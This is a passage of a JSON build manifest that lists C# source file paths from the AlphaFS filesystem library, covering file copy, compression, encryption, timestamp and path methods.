Compression\\File.CompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.DecompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Copy.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveLogic.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Move.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.MoveTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.RestartMoveOrThrowException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.ValidateFileOrDirectoryMoveArguments.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.VerifyDelayUntilReboot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.AppendTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyMoveCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyTimestampsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileStreamCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateHardlinkCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateSymbolicLinkCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.DeleteFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EncryptDecryptFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EnumerateAlternateDataStreamsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EnumerateHardLinksCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ExistsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.FindAllStreamsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetAccessControlCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetAttributesExCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetChangeTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCompressedSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetCreationTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetEncryptionStatusCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileIdInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileInfoByHandleCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetFileSystemEntryInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetHashCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastAccessTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLastWriteTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetLinkTargetInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetProcessForFileLockCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.GetSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ImportExportEncryptedFileDirectoryRawCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.IsLockedCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.OpenCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllBytesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadAllTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReadLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.ReplaceCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAccessControlCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetAttributesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.SetFsoDateTimeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAllBytesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.WriteAppendAllLinesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ExportEncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.GetEncryptionStatus.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Encryption\\File.ImportEncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateHardLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.CreateSymbolicLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinks.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.EnumerateHardLinksTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Junctions, Links\\File.GetLinkTargetInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.CopyTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetChangeTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.GetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Time\\File.SetTimestampsUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AppendTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.AttributeLogic.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.CreateTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.DeleteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.EnumerateAlternateDataStreamsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Exists.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ExistsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.FindFirstStreamNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetAttributesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileIdInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileInfoByHandleTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetFileSystemEntryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHash.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetHashTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLock.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetProcessForFileLockTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.GetSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.IsLocked.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.IsLockedTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Open.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupReadTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenReadTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWrite.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWriteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Replace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ThrowIOExceptionIfFsoExist.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileIdBothDirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyToMoveToCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.MoveTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.AppendText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.CreateText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetHash.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.IsLocked.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Open.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenWrite.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.RefreshEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Replace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileSystemInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FindFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\KernelTransaction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\AlternateDataStreamInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupFileStream.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupStreamInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\LinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\SymbolicLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.BackupStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DeviceManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DirectoryManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DiskManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.EncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.FileManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Handles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.KernelTransactions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.PathManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Shell32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Utilities.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.VolumeManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\BY_HANDLE_FILE_INFORMATION.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\COPY_FILE_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILETIME.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_BASIC_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_BOTH_DIR_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_INFO_BY_HANDLE_CLASS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_SEARCH_OPS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FIND_FIRST_EX_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\GET_FILEEX_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MountPointReparseBuffer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MOVE_FILE_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\ReparseDataBufferHeader.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\REPARSE_DATA_BUFFER.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DETAIL_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVINFO_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ATTRIBUTE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ID.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SymbolicLinkReparseBuffer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\VOLUME_INFO_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FILE_ATTRIBUTE_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_STREAM_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_STREAM_ID.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.AddTrailingDirectorySeparatorCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.CombineCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameWithoutRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetExtensionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameWithoutExtensionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFinalPathNameByHandleCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFullPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongShort83PathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetPathRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetRegularPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameWithoutRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetTempPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsPathRootedCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsUncPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core 